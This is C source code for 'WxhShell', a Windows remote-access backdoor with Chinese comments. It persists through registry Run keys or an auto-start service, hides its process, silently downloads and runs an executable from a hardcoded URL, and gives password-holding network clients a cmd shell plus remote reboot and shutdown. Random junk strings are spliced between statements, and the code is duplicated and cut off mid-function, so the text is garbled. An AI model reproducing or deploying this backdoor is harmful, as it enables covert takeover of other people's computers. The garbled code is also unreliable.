(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8o'_`{ba g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :+z4~%
jA NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;h*K }U `Nb[G)Xh if (!NtQueryInformationProcess) return 0; XkXHGDEf 1 SEGri#s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @,cowar* if(!hProcess) return 0; ,D]QxbwZ pgE}NlW if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v*SEb~[ N343qU CloseHandle(hProcess); Py@wJEo OZ
|IA:,} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qUob?|
^ if(hProcess==NULL) return 0; #xQr<p$L6 iS
WU'K HMODULE hMod; R3;Tk^5A char procName[255]; CohDO unsigned long cbNeeded; smRE!f*q &U5{Hm9Ynr if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _m
gHJ 0v' {B?Wu3- CloseHandle(hProcess); !'&n-Q jv%kOovj if(strstr(procName,"services")) return 1; // 以服务启动 17oa69G <SgM@0m return 0; // 注册表启动 &]v4@%<J } vY${;#~| M^r1S // 主模块 YaKeq5%y int StartWxhshell(LPSTR lpCmdLine) .!$*:4ok { 6@{(;~r SOCKET wsl; ?'@8kpb BOOL val=TRUE; T>x&T9 int port=0; 7=TF.TW)
struct sockaddr_in door; 5Iy;oZ J'SZ if(wscfg.ws_autoins) Install(); +e yc`J ]b7zJUz port=atoi(lpCmdLine); jkiFLtB@V G-xDN59K if(port<=0) port=wscfg.ws_port; Tx|Ir+f6L =vDEfO/T WSADATA data; wKZ$iGMbz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pe3@d|-,MU Z&1T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rz wF~-m + setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [SHXJ4P* door.sin_family = AF_INET; ,2j&ko1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); WN?O'E=2 door.sin_port = htons(port); s>;v!^N?u TUV&vz{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P&9Gga^I closesocket(wsl); KIui(n#/ return 1; QDs^Ije } %{AO+u2i !%^^ \, if(listen(wsl,2) == INVALID_SOCKET) { 3 Nreqq closesocket(wsl); }.3nthgz return 1; J
pFfzb
} {QcLu"?c Wxhshell(wsl); "= 6_V?&w WSACleanup(); @wpN6 / (]0%}$Fo return 0; WG N=Y~E =yr0bGy`- } ?EJD?,} GN ]cDik // 以NT服务方式启动 ,sA[)wP { VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KM}f:_J*lg { WM| dKF
DWORD status = 0; b8V~S'6VqO DWORD specificError = 0xfffffff; ),U X4%K= r\b3AKrIN serviceStatus.dwServiceType = SERVICE_WIN32; [s"O mAy4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; -BRc8 / serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sm0x LZ serviceStatus.dwWin32ExitCode = 0; -~v|Rt serviceStatus.dwServiceSpecificExitCode = 0; :"=ez<t serviceStatus.dwCheckPoint = 0; X9p.gXF serviceStatus.dwWaitHint = 0; M)eO6oX| q}~3C1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J6U$qi if (hServiceStatusHandle==0) return; \R|4( +]x HG+%HUO$ status = GetLastError(); ]bj&bk# if (status!=NO_ERROR) .q
`Hjmg< { Xe<sJ.&Wf serviceStatus.dwCurrentState = SERVICE_STOPPED; ]$Yvj!K*Q serviceStatus.dwCheckPoint = 0; Fs{x(_LOr serviceStatus.dwWaitHint = 0; q;<h[b? serviceStatus.dwWin32ExitCode = status; ~i~7na| serviceStatus.dwServiceSpecificExitCode = specificError; E=e*VEjy SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>%T^Y|J4 return; @\|_ } y.WEj?EL nQ q=7Gu serviceStatus.dwCurrentState = SERVICE_RUNNING; @2Z#x serviceStatus.dwCheckPoint = 0; i\KQ!f>A serviceStatus.dwWaitHint = 0; 7NDr1Z#B6V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3gv|9T } ]z l[H7 9cf:pXMi // 处理NT服务事件,比如:启动、停止 @!`Xl*l VOID WINAPI NTServiceHandler(DWORD fdwControl) }dp=?AFg { 2.% .Z_k) switch(fdwControl) ^C_#<m_k { ppZDGpp case SERVICE_CONTROL_STOP: H
*[_cqnv serviceStatus.dwWin32ExitCode = 0; D+>4AqG serviceStatus.dwCurrentState = SERVICE_STOPPED; o$w_Es]Ma serviceStatus.dwCheckPoint = 0; Z&|Kki* serviceStatus.dwWaitHint = 0; n^z]q;IN2. { {B[=?6tQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7(qE0R&@ } P"W2(d return; &Q>k7L! case SERVICE_CONTROL_PAUSE: !P)O(i= serviceStatus.dwCurrentState = SERVICE_PAUSED; a4XU?-sUh break; @xbQ Ye%J case SERVICE_CONTROL_CONTINUE: A9wh(P0\ serviceStatus.dwCurrentState = SERVICE_RUNNING; a#>Yh;FA break; MC<PM6w case SERVICE_CONTROL_INTERROGATE: _(h&7P9 break; T(t+
iv }; A<1hOSCz\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}'=yItVL1 } vU767/ 95YL]3V // 标准应用程序主函数 %]>KvoA int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pgOQIzu { KO]T<R
h< eu(:`uu // 获取操作系统版本 +tVaBhd! OsIsNt=GetOsVer(); So0f)`A GetModuleFileName(NULL,ExeFile,MAX_PATH); SzjkI+-$: p4'G$]# // 从命令行安装 %@.v2 cT if(strpbrk(lpCmdLine,"iI")) Install(); kg'o&^/= {vuZ{IJa // 下载执行文件 ;j^H)."A\ if(wscfg.ws_downexe) { cUvz2TK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ed_N[I
WinExec(wscfg.ws_filenam,SW_HIDE); ||;hciO } <$X3Hye R:#k%}W if(!OsIsNt) { nPye,"A Ol // 如果时win9x,隐藏进程并且设置为注册表启动 ;
mZW{j HideProc(); !4^C #{$ StartWxhshell(lpCmdLine); m^bNuo } VzY8rI else K?BOvDW"` if(StartFromService()) B]uc<`f // 以服务方式启动 CE/Xfh'44 StartServiceCtrlDispatcher(DispatchTable); mT.u0KUIy else
[/e<l&y // 普通方式启动 bI:zp!-. StartWxhshell(lpCmdLine); hJZV}a| y *fDwd~ return 0; fp+gyTnd3 } H[S%J3JI qYlhlHD T~Gvp0r}h U-R6xxPZ =========================================== `QyO`y=?[Y {&\jW!&n =5kY6%E7c Mz~M3$$9n OoA|8!CFa aFS,GiB " Q$="_y2cTA hM{{\yZS #include <stdio.h> Uc@Ao: #include <string.h> 4`!Z$kt #include <windows.h> Jo@|"cE= #include <winsock2.h> no<
^f]33 #include <winsvc.h> @>W(1mRi #include <urlmon.h> Z@]e{zO .
r[Hu40p #pragma comment (lib, "Ws2_32.lib") +f@U6Vv #pragma comment (lib, "urlmon.lib") joiL{ z@B=:tf #define MAX_USER 100 // 最大客户端连接数 Fsif6k=4 #define BUF_SOCK 200 // sock buffer rvXWcu -" #define KEY_BUFF 255 // 输入 buffer K95p>E`9e
">y%iE #define REBOOT 0 // 重启 [Pq}p0cD #define SHUTDOWN 1 // 关机 |MFF7z{% a2
Y;xe #define DEF_PORT 5000 // 监听端口 o]; [R L$IQuy #define REG_LEN 16 // 注册表键长度 L5
veX} #define SVC_LEN 80 // NT服务名长度 %*`J k#W: UrYZ`J
// 从dll定义API QlO0qbG[y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RPE5K:P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j(RWO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j^^Ap typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DDPxmuNG hvDNz"ec{ // wxhshell配置信息 `kZ@Zmj# struct WSCFG { 3td)'} int ws_port; // 监听端口 ]dI2y=[!C char ws_passstr[REG_LEN]; // 口令 w8Sp<6* int ws_autoins; // 安装标记, 1=yes 0=no =
c>Qx"Sw char ws_regname[REG_LEN]; // 注册表键名 *:L?#Bw char ws_svcname[REG_LEN]; // 服务名 Z; A`oKd char ws_svcdisp[SVC_LEN]; // 服务显示名 <;#~l* char ws_svcdesc[SVC_LEN]; // 服务描述信息 5A
sP5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,!7 H]4Qx int ws_downexe; // 下载执行标记, 1=yes 0=no 1e&QSzL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $`z)~6'
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (UU(:/ iy 14mh\ ~ }; ?i06f,- `eIenA // default Wxhshell configuration X&0 uI*r struct WSCFG wscfg={DEF_PORT, RV5n,J "xuhuanlingzhe", uWM{JEOl 1, 8;Yx<woR "Wxhshell", b+f'[; "Wxhshell", mxz-4. "WxhShell Service", 0el9&l9Ew "Wrsky Windows CmdShell Service", Z(Bp 0a "Please Input Your Password: ", 0IfKJ*]M 1, XI22+@d6 "http://www.wrsky.com/wxhshell.exe", ]K/DY Do- "Wxhshell.exe" ],Rd ySN& }; K)\M5id] " e}3:U5n // 消息定义模块 rfNm&!K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 't6V:X char *msg_ws_prompt="\n\r? for help\n\r#>"; /)4I|"}R0I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _g~qu
[1 char *msg_ws_ext="\n\rExit."; yp66{o
char *msg_ws_end="\n\rQuit."; {3.r6ZwCn char *msg_ws_boot="\n\rReboot..."; /Rg*~Ers
* char *msg_ws_poff="\n\rShutdown..."; )w0AC"2O~ char *msg_ws_down="\n\rSave to "; p TeOW9 "87ghj_} char *msg_ws_err="\n\rErr!"; 2U; t(,dn' char *msg_ws_ok="\n\rOK!"; Qt/8r*Oe Z| V`B ` char ExeFile[MAX_PATH]; EpFQ|.mQ int nUser = 0; WC|.g,9# HANDLE handles[MAX_USER]; gMaN)ESqd4 int OsIsNt; {6~l$ Um: Hrjw SERVICE_STATUS serviceStatus; j&
<i& SERVICE_STATUS_HANDLE hServiceStatusHandle; D;_ MPN[ G=A,9@+c // 函数声明 T`Mf]s)* int Install(void); FKT1fv[H int Uninstall(void); ui@2s;1t int DownloadFile(char *sURL, SOCKET wsh); N9vP7 int Boot(int flag); .] sf0S! void HideProc(void); rwG CUo6Z int GetOsVer(void); vh*U]3@ int Wxhshell(SOCKET wsl); 4qYUoCR& void TalkWithClient(void *cs); U
)l,'y2 int CmdShell(SOCKET sock); e{v=MxO=S int StartFromService(void); ~Q>_uw}g# int StartWxhshell(LPSTR lpCmdLine); .F(i/)vaq| ^1L>l9F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ])Qs {hs~s VOID WINAPI NTServiceHandler( DWORD fdwControl ); TH$N5w% E[bd@[N
8 // 数据结构和表定义 ! ykx^z SERVICE_TABLE_ENTRY DispatchTable[] = 9$|Gfyv { vsr[ur[eP {wscfg.ws_svcname, NTServiceMain}, cg*)0U-_( {NULL, NULL} a(v>Q*zNP }; /Ne<V2AX W@Lu;g.Yc // 自我安装 ?HV`|
Cw int Install(void) X_g 3rv1J { {FG|\nPw char svExeFile[MAX_PATH]; EoxQ
*/ HKEY key; a\:VREKj, strcpy(svExeFile,ExeFile); kJ-*fe'S aBw2f[mo // 如果是win9x系统,修改注册表设为自启动 cPU/tkc if(!OsIsNt) { rn=m\Gv
e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sSQs#+&=[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `A,g] 1C: RegCloseKey(key); A%{W{UP8N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LJ(1RK GCz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A^2Uzmzl? RegCloseKey(key); mK [0L return 0; 0#YX=vjX7 } $LLA,?;! } hwIMn33 } j~e;DO else { ]/B$br'O{? ~DsECnD // 如果是NT以上系统,安装为系统服务 f}@jFhr'< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (<Th=Fns? if (schSCManager!=0) =pk)3<GwF { <@Fy5k-%. SC_HANDLE schService = CreateService N]<!j$pOz ( L schSCManager, {!K-E9_,S wscfg.ws_svcname, HCa wscfg.ws_svcdisp, wu4NLgkE SERVICE_ALL_ACCESS, p!<$vE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {M?vBgR\B SERVICE_AUTO_START, .^m>AKC0cX SERVICE_ERROR_NORMAL, ryc& n5 svExeFile, h'$9C NULL, &09U@uc$ NULL, lZrVY+D NULL, n9\]S7]52 NULL, ]wWPXx[>/ NULL PGARXw+ ); ]d]JXt?)i if (schService!=0) UEzb^(8> { vUnRi=:| CloseServiceHandle(schService); !QT'L,_ CloseServiceHandle(schSCManager); 2"d!(J6}K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u]ZqOJXxu strcat(svExeFile,wscfg.ws_svcname); KV*xApb9y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v
(2GX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DS%\SrC RegCloseKey(key); /De^
return 0; @5[kcU> } ?^EXTU85`" } f5GdZ_ CloseServiceHandle(schSCManager); >Z;jY* } *\o/q[ } \^V`ds*. !2|=PB' M return 1; [M%9_CfZOy } |P.6< .<K
iMh // 自我卸载 3tmdi 3s int Uninstall(void) #%FN>v3e { 3w!c`;c% HKEY key; }=2; 7rC uu *M if(!OsIsNt) { PD LpNTBf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .y&QqxiE
RegDeleteValue(key,wscfg.ws_regname); \G2B?>E; RegCloseKey(key); P@]8pIB0d^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wCHR7X0*b RegDeleteValue(key,wscfg.ws_regname); fbkd "7u RegCloseKey(key); ,\aUq|~ return 0; !gmH$1w } &l?+3$q } B<~U3b } DS-fjH\ else { 0K-*WQ*#9 KHDZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8p!*?RRme[ if (schSCManager!=0) D r9 ?2 { tdF9NFMD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A~dQ\M if (schService!=0) KA276# { /n4pXT if(DeleteService(schService)!=0) { o|j*t7 CloseServiceHandle(schService); IjfxR mV CloseServiceHandle(schSCManager); BvU"4d;x return 0; j2Pn<0U } 1'4J[S\cM CloseServiceHandle(schService); gs
W0 } YUdxG/~' CloseServiceHandle(schSCManager); ,b$2= JO'f } T`9-VX;` } TFepxF
Xm4CKuU@ return 1;
YOAn4]j } c:l]=O 3?E&}J<n // 从指定url下载文件 oR*=|B int DownloadFile(char *sURL, SOCKET wsh) K$
v"Uk { vLO&Lpv HRESULT hr; /"ymZI!k\ char seps[]= "/"; ?v-1zCls char *token; K+T.o6+ char *file; i%#$* char myURL[MAX_PATH]; =_[Z W char myFILE[MAX_PATH]; FhIqy %X 1|?K\B strcpy(myURL,sURL); w^1Fi8+ token=strtok(myURL,seps); 3qQUpm+ while(token!=NULL) = zl=SLe { ?R5'#|EyX file=token; ? &zQaxD token=strtok(NULL,seps); T#O??3/%$1 } 111D3 $A}QY5`+~S GetCurrentDirectory(MAX_PATH,myFILE); !eJCM`cp strcat(myFILE, "\\"); ,5|d3dJS strcat(myFILE, file); PVao send(wsh,myFILE,strlen(myFILE),0); F8+e,x send(wsh,"...",3,0); s^T+5E&} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); somfv$'B if(hr==S_OK) )uLr?$qe return 0; ;:mY JV else M)cGz$Q| return 1; /dDzZ%/@ Yn9j-` } }xFi&
< )h^NR3N // 系统电源模块 G*\h\@ int Boot(int flag) M@p"yq { T ^JuZG HANDLE hToken; FXo2Y]K3`L TOKEN_PRIVILEGES tkp; 5%
nt0dc 50a\e if(OsIsNt) { !6w{(Rc(C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0W>9'Rw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MjaUdfx tkp.PrivilegeCount = 1; D*vm
cSf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pj7gGf6v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CQODXB^ if(flag==REBOOT) { FyG6!t% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0>!/rR7 return 0; V)D-pV V } I"xWw/Ec else { ,f:
jioY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]#< return 0; s>z2 k } _ ^7|!(Sz } LEh)g[
else { !k~z5z'=py if(flag==REBOOT) { p-GT`D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rdj@u47 return 0; %B EC]
h } 9e<Zgr?N else { ][Y^-Ak1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7SI)1_%G return 0; ke/_k/ } W'_/6_c$! } r@T| e Su8'$CFz$. return 1; f|xLKcOP } =hw^P%Zn /hdf{4 // win9x进程隐藏模块 4FA|[An void HideProc(void) [V@yRWI {
"7?js $ 1a9w(X HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MB:n~>ga if ( hKernel != NULL ) M@?"t_e1 { J"[3~&em pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =8{*@>CX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8.I9}_ FreeLibrary(hKernel);
SNvb1& } F>:%Cyo0! ID8k/t! return; B[NJ^b| } 1&|Dsrj <<3+g"enno // 获取操作系统版本 2ALj} int GetOsVer(void) 7o{*Z { "@/ba!L+ OSVERSIONINFO winfo; v`)m">e*w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bt>}LLBS2 GetVersionEx(&winfo); DY><qk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =aow
d4t return 1; oA3d^%(c else Mr6E/7g% return 0; C<he4n. } K[?R[ KCXw n // 客户端句柄模块 r`]7S_t5T int Wxhshell(SOCKET wsl) XUsy.l/ { oofFrAaT SOCKET wsh; @
t@|q struct sockaddr_in client; <`JG>H*B6 DWORD myID; !cCg/ ^`&HWp while(nUser<MAX_USER) |t\KsW { ci7~KewJ* int nSize=sizeof(client); U5rxt^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0]a1 5 if(wsh==INVALID_SOCKET) return 1; u~71l)LA 'P/taEi=R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a!.!2a&t if(handles[nUser]==0) ;4d.)-<No_ closesocket(wsh); *IlQ5+3I else yv${M u nUser++; 0^>E`/ } v:P!(`sF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hCLk#_ TczXHT}G return 0; GUCM4jVT^ }
d]k=' mcMb*?] // 关闭 socket Z90Fcp:R void CloseIt(SOCKET wsh) Xr2J:1pgg { 4? {*( closesocket(wsh); 9`&77+|;e nUser--; bD@@tGr;W ExitThread(0); Orc>.~+f%A } h]C2 8=N 7Jc<.Z"/Gd // 客户端请求句柄 W}k[slqZA void TalkWithClient(void *cs) ~\bHfiIDy { Fhi5LhWe+. `Y\QUj SOCKET wsh=(SOCKET)cs; 1OPfRDn.bk char pwd[SVC_LEN]; 8g5.7{ky char cmd[KEY_BUFF]; !'PlDGD char chr[1]; QAXYrRu int i,j; 7+S44)w}~ Lnx2xoNk while (nUser < MAX_USER) { 2^bgC~2C1 ./!KE"! if(wscfg.ws_passstr) { ^=#!D[xj> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/J3cXa{K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (v|`LmV //ZeroMemory(pwd,KEY_BUFF); MVuP
|&:n i=0; 7X:hIl while(i<SVC_LEN) { u p~@?t2 jhcuK:`L // 设置超时 h~.V[o7= fd_set FdRead; %((cFQ9 struct timeval TimeOut; -~]^5aa5n FD_ZERO(&FdRead); ,|QU] E
@ FD_SET(wsh,&FdRead);
G%`cJdM TimeOut.tv_sec=8; V"U~Q=`K TimeOut.tv_usec=0; `NoCH[$!+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "D!Dr1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,m"l\jP " V/k<HRw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tpz=}q pwd=chr[0]; fcn_<Yh0W if(chr[0]==0xd || chr[0]==0xa) { bF7`] 83 pwd=0; gTyW#verh$ break; sK[Nti0 } (T;1q^j i++; ?bCTLt7k } 'U*udkn 2] ?xf~!D // 如果是非法用户,关闭 socket aH9L|BN* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3V!W@[ }: } @hBx,`H^ \ /sF:~= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~vkud+r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2"_ 18l. ;p .j while(1) { Cb<~i tl2Lq0 ZeroMemory(cmd,KEY_BUFF); q2D`1nT ;?#i]Bh>S // 自动支持客户端 telnet标准 aeQ{_SK j=0; DvU~%%(0^ while(j<KEY_BUFF) { dfXV1B5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2voNgY cmd[j]=chr[0]; Z^C!RSQ if(chr[0]==0xa || chr[0]==0xd) { @D2`*C9 cmd[j]=0; <,#rtVO$ break; 5@""_n&FV } d?E4[7<t$1 j++; %{c2lyw } N_|YOw6 EsS!07fAM: // 下载文件 rjt O`Mt` if(strstr(cmd,"http://")) { PwRNBb}6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); M~#5/eRX if(DownloadFile(cmd,wsh)) x%ZiE5# send(wsh,msg_ws_err,strlen(msg_ws_err),0); pvI&-D #} else '$lw[1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d9ZDpzxB } X/K| WOO6 else { 1Q3%!~<\s T9,lblUQ switch(cmd[0]) { 06Sqn3MB Ebmqq#SHjX // 帮助 !<JG&9ODP case '?': { ^$3w&$K* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (%=lq#, break; b'i%B9yU:% } G>9'5Lt // 安装 ke mr@_ case 'i': { H7 o$O if(Install()) `=WzG" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^2P;CAjj-
else k)o7COx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `V$cz88b break; ZhxfI?i)l } =rE`ib // 卸载 0`zm>fh} case 'r': { JB: mbH if(Uninstall()) bt.K<Y0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !!\4'Q[ else B]CS2LEqh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o%QhV6(F break; ,5%aP% } V1AEjh // 显示 wxhshell 所在路径 4{1c7g case 'p': { GZ-n!
^ char svExeFile[MAX_PATH]; aa'0EU: strcpy(svExeFile,"\n\r"); 9.]Cy8 strcat(svExeFile,ExeFile); oQKcGUZ send(wsh,svExeFile,strlen(svExeFile),0); \ltE rd- break; 70I4-[/z[d } 6-Vl#Lyb // 重启 j8F~j?%! case 'b': { 1-ndJ@Wlz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
$Adp if(Boot(REBOOT)) ACMpm~C8Gu send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@N=N else { \^^hG5f closesocket(wsh); S(YHwH": ExitThread(0); UeC%Wa<[ } B_6v'=7] break; Ve')LY< } ,T1XX2?: // 关机 2Q;Y@%G case 'd': { '44nk(hM69 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lMI
ix0sSj if(Boot(SHUTDOWN)) {{#a%O send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|~B};|MFF else { %`<`z yf closesocket(wsh); [{fF)D<tC ExitThread(0); :)3$&QdHT } kAKqW7,q" break; \!4ghev3 } LQ&d|giA // 获取shell *<h case 's': { J 6d n~nPK CmdShell(wsh); >8{`q!=|~ closesocket(wsh); v"?PhO/{= ExitThread(0); Qe=Q8cT break; th>yi)m } \?`d=n= // 退出 OYRR'X.E case 'x': { PtVNG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m@
'I|!^ CloseIt(wsh); ,uD*FSp> break; 7>e~i, } :J)lC = // 离开 H?r;S 5)c case 'q': { 5['B-
Iw send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y.hH
fSp closesocket(wsh); >kLH6. WSACleanup(); &Bdt+OQ ; exit(1); cB"F1~z break; 1V9X(uP } Iy 8E$B; } $vicHuX! } QCY{D@7T ?lw[ // 提示信息 D8Waf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aw@Aoq } rM?Dp2 } J'4@-IM :phD?\!w8t return; 7 V1k$S( } KUqS(u hO@v\@;r // shell模块句柄 <rI$"=7 int CmdShell(SOCKET sock) gkn/E}K# { H;!hp0y STARTUPINFO si; Rw^YTv ZeroMemory(&si,sizeof(si)); hADb]O si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ifCGNvDR si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J?ZVzKTb>} PROCESS_INFORMATION ProcessInfo; =FJ9wiL char cmdline[]="cmd"; xla^A}{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #CP, \G return 0; ZV^J5wYE } Leick6 s!!t // 自身启动模式 12DdUPOi int StartFromService(void) ;p"XCLHl { `.-k%2?/ typedef struct 67:<X(u+! { 10a*7 L DWORD ExitStatus; d_qVk4h\ DWORD PebBaseAddress; D>^ix[:J DWORD AffinityMask; n#'',4f DWORD BasePriority; )H,<i{80c ULONG UniqueProcessId; nt`l6b ULONG InheritedFromUniqueProcessId; SF=|++b1f } PROCESS_BASIC_INFORMATION; %,q#f# !D5`8 PROCNTQSIP NtQueryInformationProcess; 07Cuoqt2 htSk2N/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HON[{Oq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `IQC\DSl/ :Lzj'Ij HANDLE hProcess; Lcb59Cs6e PROCESS_BASIC_INFORMATION pbi; 3AL=*qq Q>*K/%KD HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gb#wrI if(NULL == hInst ) return 0; bu5)~|?{t x G"p. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <W^~Y31:0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1vd+p!n NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z|wDM^Lf "n-xsAG if (!NtQueryInformationProcess) return 0; (_<n0
